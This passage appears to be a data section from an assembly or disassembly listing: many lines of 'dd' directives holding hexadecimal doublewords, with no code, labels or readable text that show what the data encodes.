		dd 29212251h, 6210A44h,	6C56CEE9h, 330A7445h, 1781B0Eh
		dd 214F43E9h, 0E3F31F6Ch, 4CC52BFh, 509D383Ah, 8734BABh
		dd 52F68343h, 6C0BEB2Dh, 531DC100h, 4A4383E8h, 66509FE2h
		dd 6FD4188Bh, 0E36C5345h, 0A6454F4Ch, 38E344E9h, 89F37084h
		dd 84EF0904h, 1155FC21h, 0A0226A76h, 4EF18789h,	7DE12013h
		dd 1283B9F6h, 4E48504Eh, 0CA208D44h, 0C9908B25h, 0EE1BC308h
		dd 7DDC05E9h, 4504EB0Ch, 0F7E81402h, 0EBA8A245h, 240E6542h
		dd 0A81082E9h, 934A42DFh, 55C85704h, 98EA544Eh,	574D0B07h
		dd 0E8681057h, 196949DAh, 2B4537C8h, 0E23E3C39h, 6B4D2B5Dh
		dd 1C3280C4h, 646FC055h, 3B434255h, 0E3C4CC34h,	0D13B4C63h
		dd 1CDE495Ah, 0A888BF9Dh, 0B58B673Dh, 0B732612Ch, 77D03FC1h
		dd 4D5EE9C6h, 2884D1E2h, 69454455h, 21F48470h, 17C84096h
		dd 0DDB22E10h, 46C53A29h, 1B24CAC2h, 88506E40h,	1C755905h
		dd 0EE778408h, 175E1485h, 4854FCC4h, 20F458D7h,	0C008F18Ch
		dd 0C8DD9185h, 2CA944E8h, 0E0428E58h, 41649221h, 7B11D472h
		dd 1FC7110Bh, 6444CC88h, 0F98EB02Ch, 91854D08h,	44B8C85Ah
		dd 39F62D36h, 16F209ACh, 101EC123h, 590888A0h, 84941CAAh
		dd 4467F121h, 118C7211h, 0FA110BDAh, 4480881Dh,	8E722CC3h
		dd 0AC217442h, 18775B64h, 1E2C9544h, 2160428Eh,	7207647Eh
		dd 0B671154h, 881C8D11h, 2C50444Ch, 40428E76h, 99623921h
		dd 838311Bh, 82918522h,	0B442CC8h, 1A46D02Ch, 0F4082421h
		dd 1CB95166h, 0DD428414h, 621924C4h, 0BC61104h,	0F8880D23h
		dd 0B1AF9053h, 0F0181855h, 0C8984284h, 22E0E43Eh, 29231681h
		dd 88D81017h, 1C12596Ah, 0BE984CCh, 8816AA11h, 2C3C44C4h
		dd 0B8428E93h, 81622521h, 8B03115h, 6A91850Eh, 7823204Dh
		dd 0FB110890h, 29A48ADEh, 5065E508h, 40A41456h,	0CE2B9842h
		dd 0C83F9117h, 2CB74490h, 21134623h, 0B2A01088h, 880390Ch
		dd 0F5888589h, 2270C412h, 0E0231672h, 886C1011h, 1CC9595Bh
		dd 44428458h, 621074C4h, 0B2D1154h, 40905D23h, 4C591688h
		dd 93031CEh, 230A64E5h,	9C209035h, 0E2B6261h, 0D1081831h
		dd 0C8149185h, 2CBA4408h, 110D4628h, 0A32152FCh, 0EC721164h
		dd 110B8C11h, 0E0880BE5h, 0CEB2104Fh, 7C91992Ah, 620818C8h
		dd 8D4C5DDh, 0D25B4C29h, 8F4DB08h, 351442E9h, 1732E4CAh
		dd 1E2E84C4h, 646FE2Ch,	4217B828h, 0E4E7C807h, 63F021B4h
		dd 90D0230Ah, 58D988A4h, 428C0586h, 64C22198h, 1194726Fh
		dd 58230BABh, 9421C2BCh, 3103AE62h, 857D0880h, 74C89791h
		dd 0D0296644h, 2FE10189h, 0E04A7AA6h, 66443F3Ah, 28207875h
		dd 4A086496h, 36D71B08h, 0DA19EBDDh, 180C2534h,	0F46C1EC4h
		dd 712B1622h, 305B24C8h, 3574FF9Fh, 0ADE88009h,	789975A3h
		dd 0F62042FAh, 3016A359h, 0BED27BADh, 6B42E58Ah, 930CE94Eh
		dd 8BC417E8h, 1936FBF8h, 25F0F6F3h, 96D6C766h, 690F0247h
		dd 231B5D47h, 0AFFC2CFBh, 5A9F27A2h, 641A1B2Ah,	0E3A9A3Ah
		dd 73159908h, 50BEABAh,	47B45279h, 0FB5E4A51h, 5912DE34h
		dd 385CCAAAh, 91012DBFh, 126E685Fh, 0D5DDFBF1h,	0AC530F08h
		dd 485953F0h, 8AE81D40h, 2BEF2D3Ch, 34A4F1EDh, 516E8281h
		dd 0D7628C71h, 6250D95Dh, 0F17E2DBAh, 3617217Ch, 99E91404h
		dd 0D0848EADh, 61C64451h, 146B228h, 4217C428h, 929BC8AFh
		dd 0B977538Bh, 0DAA2132Bh, 84B8C062h, 0D3298C23h, 0FD093282h
		dd 68E8A101h, 34A62ECAh, 2B4C3F3Eh, 39C89E43h, 9E309478h
		dd 18D46BB6h, 239E1452h, 73093579h, 0F96DF30h, 0EC5D5222h
		dd 6A0DC556h, 3E82F909h, 0C4A2852h, 3E226346h, 0E75BB9F4h
		dd 403E55FFh, 5249F320h, 0F4681048h, 0FD6C7B48h, 0C29DC17Eh
		dd 2C111837h, 0B142443Ch, 9169D9BCh, 0D4012C8Eh, 7A883ED9h
		dd 29D69718h, 0B3F12093h, 673B3513h, 822C1E49h,	3DB262DDh
		dd 0F65A6C5Fh, 6C20A948h, 2C88ABB2h, 0E1FF1492h, 2FAF40ADh
		dd 0C63E6771h, 5A570150h, 8810456h, 0E4054E51h,	0E80250C8h
		dd 1455C38h, 82C9F27h, 316A347Ch, 0EDB88E50h, 557C92DEh
		dd 112782F8h, 207973C9h, 1C2145B3h, 0F831E895h,	0D9EB687Fh
		dd 0C4421262h, 8847E8C4h, 575E5094h, 0EE1873DFh, 57E90E71h
		dd 0EEB75992h, 86F9EE9Bh, 0D5F2368h, 0D0FE964Fh, 5FB8E8A6h
		dd 56376E95h, 0B0211838h, 884AA011h, 17AC2102h,	8921A842h
		dd 8C680A41h, 95E9E850h, 84BCB126h, 0A960C0E8h,	0D1592513h
		dd 8E0F8E46h, 7075014Ah, 0FBB160AEh, 0C40820B7h, 0C308339Eh
		dd 6411648Bh, 0C0334084h, 4A5E9D38h, 1F50B7F6h,	0D0E5950Fh
		dd 8FEE952Fh, 0FF70FC43h, 29633B52h, 285590D7h,	229D5139h
		dd 0B90DE2Bh, 795084B8h, 0F7C1A10h, 0BC81E89Ch,	9C65CE34h
		dd 968FB2Dh, 59601Bh, 55480C64h, 80042C44h, 43FC28FAh
		dd 1BD611F8h, 375D80A2h, 0FD2139A5h, 804FE8D0h,	4D99E5E9h
		dd 160A9C14h, 0FEEC2565h, 0D9D3FE92h, 0F9682F0Ch, 6A8C6D71h
		dd 4B14F47Fh, 109ED8FDh, 7C9288B9h, 4649368Ch, 5F601172h
		dd 93E2BC97h, 200E2611h, 89FDE018h, 42081444h, 2541AB04h
		dd 217013D7h, 0B50A0B7Ch, 89E75104h, 8DFBF8C2h,	0CB2E6E24h
		dd 52A27D70h, 324FD341h, 598212EAh, 800E1638h, 4084541Fh
		dd 0FD420C48h, 31FBF884h, 691AA217h, 7816593Eh,	3489FD18h
		dd 4EF4840Bh, 0E1ABE904h, 1FFE82Ah, 21961497h, 5B0B4EDCh
		dd 0E8379C71h, 0E9128C2Ch, 247F231Eh, 84712511h, 2E685E3Ch
		dd 203F1AFDh, 0BC99D45Dh, 59D77118h, 700FF92Bh,	2FD209C0h
		dd 1F08B54Ch, 510678EBh, 0D0AB089Dh, 314A2B3Eh,	2270C7BCh
		dd 52B29544h, 0A680A847h
		dd 583B24C7h, 10F7147h,	300852D8h, 18A3E785h, 4E1646FEh
		dd 3ABEE284h, 0DF343002h, 950A60E9h, 0BA8912FCh, 77061A54h
		dd 5D330322h, 71100306h, 2C3D2459h, 357E8962h, 67B8C142h
		dd 25844DE0h, 309F579Bh, 402FE708h, 2C21E920h, 0ECF85781h
		dd 9752A45Ch, 3F3FE779h, 0A25E49DEh, 0E6E0ECD0h, 22016FF8h
		dd 97313B1h, 0B4284F8h,	593C0479h, 8276C13Bh, 0D8B8D4Eh
		dd 0B2A41C11h, 25EC3659h, 6B4ABBB8h, 599A0B39h,	83141044h
		dd 3C47918Dh, 8924FF4Ah, 7413B4B8h, 4097FC44h, 0EC18B0Ch
		dd 0D8C08357h, 5B15AF41h, 103F7477h, 0BE3C26E4h, 9735C1C6h
		dd 0EBDF5960h, 19C91A79h, 6BE230C8h, 0F53C7EC9h, 928D4352h
		dd 0DD388EAFh, 128412A2h, 7CF8481Eh, 89FB3B00h,	7874207Dh
		dd 233F3A30h, 9F992BAEh, 0AF10E7D0h, 9BAB14E8h,	0EB8278C2h
		dd 6517222h, 69535C2Dh,	6AE95F31h, 96822595h, 1A75234Dh
		dd 174E1021h, 8BA66712h, 4D94FD82h, 0DD219822h,	5F08FA98h
		dd 0B5F15B9Dh, 0C7192CAh, 28FA665Dh, 743C858Ah,	66A9CB57h
		dd 501F603h, 215C1864h,	0B52773F3h, 0CC57799Ah,	0ACD058CFh
		dd 0AF6E5FC4h, 6240D3B3h, 33541474h, 6A847CC0h,	400EA030h
		dd 0F8568BE2h, 71371028h, 98EF6151h, 252F5D88h,	6BE0227Eh
		dd 78E0C61Eh, 3040D1AEh, 0FE3DC219h, 0FB402F45h, 4D76BE0Fh
		dd 7CCF3B05h, 0CD53C7DEh, 0E14944B6h, 9241B17Ch, 5F2640Ch
		dd 9DFCE0E8h, 76F92150h, 96844845h, 0E08561A9h,	0F15E8CFBh
		dd 0C83A5A58h, 780C1084h, 32561331h, 0D80CFC60h, 0EB2B128Bh
		dd 0F3F32Bh, 23388008h,	0FE500375h, 44BE27DFh, 5A8896C5h
		dd 88C8E059h, 9791609Dh, 0B80482A1h, 0A6A24D8Ch, 33C5803Bh
		dd 0AC8D3839h, 0EC6752D0h, 0E81006DAh, 5192E4C8h, 8089EF7h
		dd 0E28B434Dh, 40591C54h, 4F4A7F08h, 0FCF0B661h, 0FBD0100Ah
		dd 68799FC4h, 0A1FC43F0h, 5908FD14h, 0BCA1F743h, 482F134Ch
		dd 0E62A1B37h, 53C6B7C3h, 983438F2h, 55877940h,	6EF929C4h
		dd 1928F984h, 1A635544h, 2FFE1025h, 32634B16h, 41142203h
		dd 0F4598398h, 448D0B31h, 968D7C30h, 5A34EA5Ah,	6856BB20h
		dd 49BFD2B0h, 9CE6547Dh, 0B015679Eh, 597B1349h,	8EC5B5BCh
		dd 6C0F48A1h, 246CC2A6h, 1D8F458Dh, 0C7DF06FAh,	984E3CCAh
		dd 0EFB0FF70h, 6329E811h, 18362BB6h, 8089ECACh,	0A1A55DB8h
		dd 4FE70C73h, 3AC85681h, 0EACD5B19h, 4B024724h,	0D14CA068h
		dd 538062B9h, 0CCE21BE7h, 0E928102Bh, 129B0653h, 152B58D1h
		dd 0CF27ED11h, 408430E4h, 0F536285Bh, 472C3D0Ah, 2458EC84h
		dd 32278D5h, 7837A2ADh,	54034E58h, 8A690F9Eh, 8C220394h
		dd 0A656E227h, 585121FDh, 842B2C50h, 0D0583921h, 21862752h
		dd 9079581Ch, 2EFEE911h, 0F3AB2ED5h, 84F1589Ah,	0ED44FBA0h
		dd 84947257h, 8152DF0Eh, 627F6A01h, 2D988D3Ch, 0D03867Eh
		dd 1058B5F8h, 6A9DC49Ah, 0FCDF62AAh, 0BD264BC4h, 2768D2A8h
		dd 0CAD9462Dh, 90069418h, 0FC2993A0h, 4010DD23h, 5205844Ch
		dd 4C5AA26Ch, 859C93D8h, 698F1091h, 9C7941A8h, 234A3A6Fh
		dd 0E81B10B0h, 224B42F0h, 9E8391Bh, 83B37CFh, 3827FA48h
		dd 0B469D338h, 56EA63A1h, 45F01046h, 4BFA73FBh,	57AC0235h
		dd 0F422F9D0h, 4DCFE834h, 41ADF251h, 939C2DFBh,	4F54D674h
		dd 1A0C2F0Ah, 2650BF8h,	509DA813h, 8FA85FDh, 0B424BA0h
		dd 10401C51h, 274B42A8h, 0FAA62824h, 0FE18F451h, 0ED407B21h
		dd 0E1D7363Eh, 0FA4E1ADEh, 0B4464C88h, 0B9FFF437h, 0F87888E3h
		dd 12FAE467h, 923F951h,	54D02864h, 7C9D82FEh, 0B1E125FAh
		dd 0D21D6820h, 165FDFB6h, 14F44AF5h, 565318AFh,	0F19F65EEh
		dd 0FC09AD3Dh, 88247C6h, 22A741F9h, 1955A564h, 11D4D84h
		dd 0FDB60F08h, 49DC2851h, 0FA8CB150h, 0F742F808h, 1642F43Bh
		dd 0ECC9684Dh, 942D9223h, 1290E6B9h, 433E4E57h,	4CD250Ch
		dd 3E9C5606h, 4AA28315h, 78012811h, 0F7210BFAh,	0D1BCEF88h
		dd 0B8CB6D78h, 0A1F6437Bh, 0F2114AB8h, 29CC6F01h, 2AF8418Ch
		dd 0A715B0B2h, 0C247F67h, 48975139h, 40868C10h,	2D8C8708h
		dd 5316FA0Ch, 319967ECh, 6A6E3FB7h, 0C51DCFCh, 5B88E84Ch
		dd 4B91A7F8h, 0E1A4A5A1h, 0FA908864h, 0D64EA9B8h, 2984412h
		dd 8A0B626Ah, 764E4982h, 9158E59Fh, 182E8488h, 2512237Fh
		dd 90A917DDh, 4A2C8238h, 4E742243h, 0CF628ED9h,	0E9562021h
		dd 21B6F138h, 0FE281065h, 116643A9h, 99CAF890h,	28104510h
		dd 20A689FEh, 8CFEF953h, 646A2776h, 27FA4920h, 53651168h
		dd 0C0F54E8h, 9652D1BEh, 80FA5F7h, 86249E8h, 4DD922F8h
		dd 0A28F413h, 8E487380h, 1185F8E6h, 10119C08h, 0F7AD3EA6h
		dd 1DF484C2h, 65499C09h, 0F161981Fh, 0F4495AE9h, 0E6BC8905h
		dd 65A62F21h, 52BD7F18h, 9E3F6A80h, 0E3AF6B43h,	0CFC3C25h
		dd 8B3F8733h, 0B435B458h, 591213C3h, 5689454Ah,	0BF65ADA4h
		dd 21A72CDDh, 5052AB16h, 0C32505Dh, 685862BCh, 5009158h
		dd 0CE4CDFE8h, 2517202Ch, 2630477Ch, 1185FD14h,	0CB7585B8h
		dd 0BC14F768h, 0B821DC5Ch, 490CD0EEh, 91EE8E88h, 1200ACD8h
		dd 8EDFB651h, 59E212DAh, 0CA1A23DCh, 75C65445h,	1C519D0Bh
		dd 0C03495DAh, 48CCE6A0h, 21AABC95h, 0DC45171h,	27468B04h
		dd 47215EE8h, 6553D414h, 4880B1F1h, 4A2F3B12h, 0BB090A34h
		dd 58D71A16h, 0F36AFF17h, 1D1F34E7h, 0FC108C8Ah, 39A04747h
		dd 4FE9C0D1h, 68B9C123h, 922BBFDCh, 0B2519260h,	0FDB0B3C1h
		dd 0EF7431FAh, 13BA73EDh, 71ABF884h, 0CE96E8E1h, 0F41A61CEh
		dd 0FCBB2074h, 50D98BA6h, 0FC4535Ch, 43F98844h,	714AEDE8h
		dd 0D9B89527h, 4595F804h, 59571AD5h, 56845C9Bh,	88BC9CBCh
		dd 7241F943h, 4798DF01h, 18CE5927h, 21BE270h, 4DDB4532h
		dd 8473502Ch, 6E878861h, 0A9F2A88Bh, 792D09F4h,	8A4859A8h
		dd 1B7FE9F5h, 7489C02Ch, 533849FBh, 0D7A19F02h,	489016Ah
		dd 666110Fh, 7F11A49Dh,	421E9E57h, 0D9D972E8h, 9EA1013h
		dd 0B5F809B4h, 68051A81h, 0EC0DC75Ch, 2A7392BFh, 8B4917AFh
		dd 2E0AD6F8h, 30B1F64Ah, 9073B23Fh, 534A7751h, 9E9D03ECh
		dd 47762D57h, 0F0681850h, 0C2C9B147h, 11574998h, 73A7BD9Ch
		dd 464143D0h, 0A9EEA3EDh, 7B105F5Bh, 4D5BA2E8h,	0C84A8B8Ah
		dd 0CBB118A4h, 0FBB7B62Ah, 40B6A53Ah, 55C8A44Eh, 7E59A91Ch
		dd 0A9D51D3Eh, 4F98A531h, 0BFD8D868h, 0B7492632h, 929DB594h
		dd 7CD80291h, 82EECCFAh, 96AD44FCh, 5EA1C24Dh, 0C9402C1Dh
		dd 55235066h, 0FD217E4Eh, 9E579360h, 0CA15494Eh, 8969A698h
		dd 904D6505h, 431D1316h, 4D2D8BD9h, 0EA5910EEh,	464448E8h
		dd 8D37DE2Fh, 6B1545F0h, 0B35BF7E8h, 4C21C44Fh,	0C5208470h
		dd 0CFFC28D4h, 0B3B23017h, 0B6B81655h, 0AF3BC8A2h, 688D7E79h
		dd 0BB01A3E0h, 293A47B6h, 0A701CD5Dh, 0FBD0A25Fh, 25F5D25Fh
		dd 8DD44D14h, 1AAC7EC7h, 0EB698907h, 0DF2B03BBh, 680DA450h
		dd 2D4581B8h, 2D5073ACh, 4059052Ch, 78C4A2E9h, 4B42869Bh
		dd 0C7C4519Dh, 110E1BF1h, 5EA518C8h, 408ABE87h,	6288B068h
		dd 0B0554B57h, 587456A3h, 10A4C575h, 3ECB3B9h, 5348E485h
		dd 84CA1FBDh, 46DD8826h, 0A6BB4553h, 0F143C402h, 0C638182Bh
		dd 675B8E0Fh, 2A32D723h, 19BD0323h, 6FC3E6E9h, 0C4A3173Ch
		dd 96BBD7E8h, 89E2B0C1h, 5A16934Ah, 0A14C052Bh,	18297CB2h
		dd 75BE4BF4h, 0AE1B1758h
		dd 0E1F69F6Dh, 2BD63CB2h, 6B8B7BCDh, 6260D41Eh,	9CF51AEBh
		dd 6942BE6Bh, 48284F85h, 9B62296Ah, 0EB14104Bh,	9E899453h
		dd 0C40A9021h, 0A02C4B7Ch, 6B211A42h, 151A8EE2h, 0E2AC4D10h
		dd 0B3341D4Ah, 16445383h, 0FCA2AF1Dh, 54E98254h, 0C799541Ah
		dd 0A616994Bh, 0B084727Ch, 0A1F35E3Dh, 105E4A7Dh, 7F8544E8h
		dd 0BECD3645h, 4C4AEE25h, 8C14538Ah, 88C3DF3Fh,	0C1215602h
		dd 1756514Ah, 0B8118A4Ah, 0FF71E909h, 19C928B8h, 4AF08A85h
		dd 2E225382h, 7D88CAB2h, 4AA3C571h, 59716E0Fh, 56259491h
		dd 5821DE6Bh, 42861CEBh, 44062188h, 69574A5Eh, 49F28710h
		dd 447C48A2h, 0B31E19FDh, 4CE63847h, 4883F61Dh,	14832CA1h
		dd 434928E9h, 489AA1ECh, 0C199120Ah, 9940D062h,	514763Dh
		dd 8A49C98Dh, 37B9553Eh, 6EA24B40h, 0A728AAD2h,	545BDF49h
		dd 0A6106918h, 95EB14A0h, 18BCC4A2h, 4C300953h,	0E9E2873h
		dd 461ECCA5h, 49CE1120h, 8F421088h, 2507C718h, 0D6753EC6h
		dd 50129C97h, 93296657h, 320F2608h, 762CB2D1h, 49E97F2Ch
		dd 4ECAFD18h, 4BAA886Eh, 3CEAA051h, 21886046h, 226B62A5h
		dd 191BD356h, 885C08B8h, 0EB49DBE9h, 0C086C563h, 221791CBh
		dd 0CDA3B949h, 8F002B71h, 0BE9EC6E8h, 438858A7h, 0BD267684h
		dd 0E5CBEE1Bh, 24683564h, 5C2C61C5h, 2CC295B2h,	0ECD7945Fh
		dd 5256507Fh, 0A2484CD0h, 0CD3A56B2h, 42CB62EBh, 0F0101217h
		dd 82A5566Ch, 0A4C45010h, 0FD342342h, 88E919C0h, 5432AE12h
		dd 8A881C0Ch, 70251058h, 0A5FFE712h, 241826D9h,	0BD9B093Ah
		dd 0E5E8F12h, 1462BE71h, 0F742FC64h, 47C58453h,	29A933BEh
		dd 54FE8F4Ah, 3014094Bh, 67B1C849h, 2202C1BBh, 0EB82D2C6h
		dd 5B783269h, 0EFA32D5Ah, 4E1A58B1h, 833A212Fh,	56CFEB20h
		dd 1D4A33DAh, 0A821DC14h, 41C80B42h, 80226546h,	746837DCh
		dd 1537B229h, 532CFB4Eh, 7CE20B16h, 3E691C47h, 0C713FF2Bh
		dd 0C5B59C22h, 0ED92880Ch, 0DEE09374h, 0D140A134h, 2868BD3Eh
		dd 4A290B08h, 42BF4B11h, 0F1AB3188h, 2CFF51Ah, 5D892E80h
		dd 79C4D6C4h, 954841D8h, 0A819AA0h, 7F6A118Bh, 0E020342Bh
		dd 5948792Bh, 51F8B4EBh, 171D12CAh, 5C448C8Ch, 0DA115948h
		dd 0D82F545Eh, 9D845945h, 0F9082EC8h, 7872B89Ch, 7A21BEF2h
		dd 0DF62D763h, 0D140BF5Ah, 0A71466D6h, 0C1623B4Eh, 821168Ch
		dd 0AE4B8BF9h, 5BF8D645h, 2C428710h, 37312641h,	0B5B15348h
		dd 4F0AEE04h, 0A2047F88h, 82DE721Bh, 741AFF82h,	40B0BEA2h
		dd 427B346h, 466B51F9h,	0CFBF2515h, 6EF32F70h, 77E0302Dh
		dd 3C719545h, 40CC21D4h, 0D83FC308h, 42843A60h,	0B712F140h
		dd 0D7A1FC4Eh, 6C840E12h, 37AD4D63h, 18231E78h,	2AF70814h
		dd 0EB2F859Ch, 5907980Bh, 0A9428586h, 0D9BD3044h, 0F590F38Bh
		dd 2A8C1405h, 0FD207689h, 0C63B125Eh, 290AFA57h, 51D4164h
		dd 96ED1CDDh, 3EF025A8h, 0A78984C5h, 7C37F4D9h,	14173023h
		dd 6E712186h, 17D43B57h, 8B279F10h, 0D2A47818h,	0E49804BAh
		dd 11234B3Fh, 0A42A099h, 0F7BEB219h, 748B4C45h,	40AE7D2Eh
		dd 937A2F1h, 70216694h,	3E62083Fh, 2BE086C2h, 5A2614DFh
		dd 9A73E810h, 0C2D57658h, 40C2CBEBh, 0B8916204h, 58E9127h
		dd 5683E81Ch, 0FC10B08Eh, 4A188A3Eh, 0ECE90CBBh, 0AA054BD5h
		dd 503C55B5h, 0CC6082BFh, 1172223Eh, 0A944A0Fh,	2F8A443Bh
		dd 0A7F2A207h, 48BE0F3Ch, 155C2884h, 0E37F9E69h, 3AE6D400h
		dd 8F126910h, 0EDE7F034h, 94CF7E25h, 2463EC2Dh,	857CF6B4h
		dd 31EA3D8Eh, 14F71615h, 98422082h, 0A1BAA94Bh,	6314E90Fh
		dd 251B974Bh, 22ED4C68h, 8496D22Eh, 0DF1567D8h,	16756D19h
		dd 0AD4AC810h, 0C371B554h, 8D91384Ch, 118A3C11h, 0B4781035h
		dd 8298EFC2h, 9466E819h, 5A88E22Bh, 0E9D29198h,	689C480Dh
		dd 0E88B4854h, 0EC40F92Dh, 261E7B61h, 49C1393Ah, 0C888FFCh
		dd 0DF718A3Eh, 3DD08CAFh, 759F115h, 0C6BC4B48h,	1788D81h
		dd 0F20DC83h, 0B962CCE8h, 5ABD8419h, 18C19543h,	3007928Bh
		dd 4B5F7D3h, 0F5E8562Fh, 5E9BC841h, 525A3842h, 989804B6h
		dd 0BC58333Dh, 2B3CF139h, 9C84E09Fh, 41AE6C14h,	0D015FF98h
		dd 1804704h, 0E98D7259h, 4539B94Ah, 0A610B684h,	41DF1252h
		dd 0A1139D8Bh, 2F0DD10h, 1C2C0B4Bh, 48CBA42Ch, 8A93A553h
		dd 13F21184h, 3C323948h, 57293A33h, 3C573BB1h, 0A4D2A277h
		dd 0EE22C420h, 77F3A9F5h, 0B9545E14h, 61848C19h, 0A2A07301h
		dd 7B207E76h, 0A2BAC33Ah, 0AC80020Ah, 0CA71E9B8h, 836A007Eh
		dd 19380BC1h, 32F67536h, 89984428h, 0E120552Fh,	1B22506Ah
		dd 0B8C88B09h, 9915A0D5h, 2F087DF7h, 68E6C103h,	0ED51332Fh
		dd 3B350866h, 1381237Eh, 0D4576212h, 0EE93FEB6h, 19BEC034h
		dd 12E81520h, 9D892105h, 18F915ECh, 5585412Fh, 8D2703BFh
		dd 4798F670h, 0DC9D56D8h, 19F14BA3h, 80AB0C14h,	1F393CC7h
		dd 0CAE65F75h, 0D7FDF215h, 182FEC6Ch, 1FB8C55Eh, 56E42375h
		dd 0D8A7893Ah, 0ADB5BDF7h, 33BE8A12h, 0F8ED3B37h, 476BECAEh
		dd 9CB2D755h, 7B19F193h, 0FCF89F72h, 3E544990h,	2796DBCBh
		dd 0C3A72B65h, 4B45D411h, 0F5D9EF3Fh, 0BF7EFCD6h, 0E93DE292h
		dd 1117CAD6h, 8B565AFh,	6C53F23h, 10FE90F9h, 52843C10h
		dd 47EF6C39h, 8C12AC33h, 8893B59Fh, 0E1474CBCh,	1A7550C8h
		dd 564C79A6h, 1127F15Ah, 39C47566h, 2590B95h, 690B2076h
		dd 0F02F383Ah, 2DC34011h, 10B5D0E9h, 7A3BC49Dh,	0FA03D925h
		dd 5B8F90C5h, 2836B735h, 3E2D1690h, 45E5C4CFh, 18B05170h
		dd 85A82A50h, 20F7FCC4h, 933DE3E8h, 17141440h, 8BB3EEF4h
		dd 0CB9BE25Ah, 6E645F05h, 221E1B9Fh, 0F49DAC6Fh, 0A0C5A50Dh
		dd 1AF60C93h, 0CF2F9D27h, 5AA9F2F2h, 5C9C148Dh,	0F91DE754h
		dd 88F921B8h, 695BF7FCh, 0ECDD8F9Ah, 37C424C7h,	104718Eh
		dd 673F3261h, 0F858C82Ah, 3E2386F7h, 6F04446Ch,	0E8CF4D10h
		dd 233B4444h, 47AC37D7h, 4A5E74A2h, 1B3CBD09h, 2209DB48h
		dd 0EBF2B216h, 8CA10509h, 811516C1h, 982F7C87h,	0F8850E8h
		dd 2621F394h, 0A13FE019h, 6C78E1D3h, 0C103CA00h, 2B705999h
		dd 0AE3F353Bh, 532506CFh, 0C4D29BFFh, 0E8C25BEDh, 0EB4E5538h
		dd 17F97821h, 0EA0B57D1h, 0B277F50Fh, 861D9FAh,	5F8ABA17h
		dd 775B6150h, 0F24A808Ah, 0F6F010C5h, 8AD6EC8Eh, 3C0C106Bh
		dd 0C0D8F88Bh, 8B5316B7h, 88BDE143h, 90C7A86Ah,	0E85681BEh
		dd 387B82EBh, 7722C4BDh, 364E2142h, 0EB0503C4h,	8491AD30h
		dd 0EC28FA84h, 2311F643h, 0DE84A25Bh, 68847797h, 7BB23AF8h
		dd 0A235DDC5h, 938C613h, 0E6574EFBh, 0E956825Ah, 73E97DA3h
		dd 0A9A26B4h, 0B60874F3h, 8A812312h, 0BA2807EBh, 6F32B514h
		dd 40610B4Ah, 75BBC2D7h, 9F203134h, 98DB9C52h, 0C0A13526h
		dd 0D920A24Fh, 0B5D0FF14h, 3AFE5AE4h, 2B211C89h, 0F2150703h
		dd 0E80E1040h, 2081022Fh, 681B74F2h, 9E3A4A08h,	3ABF1006h
		dd 0B4C5E916h, 3965C812h, 2CFEE357h, 1AF7B40Fh,	0D00D7910h
		dd 0B3277C1Ah, 461B7B7Ch, 6831375Eh, 0C6E95D84h, 49DEA7ADh
		dd 7E31DC0Bh, 0A48E53Eh, 502B2154h, 0DBB787E4h,	0E838B72Ah
		dd 0D8720547h, 92E4738h, 0D95134AFh, 5CD7720Dh,	1124DF3Ah
		dd 0BE1A762Ch, 0B2FD0AB1h, 221D1ED9h, 0A144A4A5h, 0BFCF7F83h
		dd 5CCAC25Bh, 4836D25Ah, 0C41A5F09h, 0CB77C739h, 1147F6A3h
		dd 2015180h, 973C73Bh
		dd 1040F183h, 0E8530508h, 0EE288F5h, 43C8ACCEh,	0C7341889h
		dd 3964C71Dh, 7962DED9h, 87E90190h, 179A5FE0h, 0F3CA64C9h
		dd 2D4C782Ah, 0FF9833CCh, 6A80CBA0h, 49B1FE1Eh,	1D892B30h
		dd 0B0E12298h, 0C47C2AD4h, 0E9283844h, 59B62B27h, 0EA246529h
		dd 5E07252Ch, 2130E739h, 0F4209170h, 75EB7595h,	0A8B68333h
		dd 56FD0D50h, 0AF3C6830h, 9D3773E8h, 0A8628579h, 0A33932FBh
		dd 8A290C08h, 1E102565h, 882DC610h, 0FBA40814h,	18EA2051h
		dd 41433F83h, 26DCA4CBh, 63D21DCh, 8937B8D0h, 7537A413h
		dd 8D378C70h, 6D0B0408h, 62CF3E17h, 7BB6E80Dh, 0F7E63EFEh
		dd 4F009A4Bh, 38BCEA15h, 0F1A2C859h, 68010AC2h,	0EBAB8960h
		dd 582B792Dh, 45858ADEh, 342F0893h, 8EAA12BDh, 0EC6A7C44h
		dd 318489CBh, 0AF35458Fh, 880B12B2h, 0E0A28C9Dh, 0C1C73474h
		dd 10A22913h, 0A637C017h, 501A1619h, 0A9CD8DAEh, 4D66BA50h
		dd 0A5BD9A3Bh, 1A0C14D4h, 0D42A33A2h, 818A87A8h, 0FC134056h
		dd 0A2E440B8h, 5C142759h, 84E85801h, 0E2A53148h, 2C21021Ch
		dd 459DCAEEh, 0FC0888B7h, 1DB27F62h, 1DAE6342h,	8936BC08h
		dd 0D8BEB031h, 378D1320h, 0A6379068h, 0E9131581h, 0A53BFB6Fh
		dd 0EB366210h, 0FC462B51h, 20A1989Fh, 0E89734D4h, 0E54059DBh
		dd 0EB998C7Eh, 92C1064Dh, 365CA471h, 0E30F109h,	22231F20h
		dd 4FFE502Bh, 13DCEB8Fh, 8736FADCh, 68301408h, 37E9620Fh
		dd 0E42D3A7Ch, 21968E7Eh, 0EF0B35E4h, 8B299F2Fh, 46C6083Bh
		dd 21CA8E34h, 7B76B2FBh, 0E267845Ch, 0B13EA4A4h, 7FD106Ah
		dd 50E92482h, 5F6B1C29h, 318B9227h, 50237066h, 3E229035h
		dd 37325F98h, 435AF82h,	7AC0FEBh, 70221242h, 0FEC18095h
		dd 0CAAC7CE9h, 642880E9h, 505B5F5Ah, 8BB7D11Bh,	0F95F0F63h
		dd 225B28C2h, 84783847h, 8C9508EFh, 0E9C03304h,	11DFAC3Ah
		dd 1D4B4210h, 14E5A3E9h, 253AB0A0h, 0DC63FC68h,	0B0AF0ABh
		dd 18B898E9h, 2C211B51h, 11D41802h, 97E61480h, 2C342684h
		dd 8418F71Bh, 0FB9C0A8Dh, 0AF1464FBh, 16B9B453h, 6233FE85h
		dd 0D6F117E8h, 9EBD76B4h, 94DCEB85h, 2E70999Eh,	0A82616CEh
		dd 0E368C579h, 42AC3FA6h, 6B950C22h, 0B04AECACh, 4644D4Eh
		dd 8BB6Ah, 7D5C787Ah, 2E214242h, 284811C4h, 85891C40h
		dd 88FB42A0h, 800AC208h, 0E6A04B34h, 0AAEAE1FAh, 64A77963h
		dd 0ACB84434h, 30AE570Ah, 31BBE817h, 17413195h,	887C2290h
		dd 1CB249AAh, 8B26CFEFh, 32D7215Eh, 658C2DA7h, 0D8A48D33h
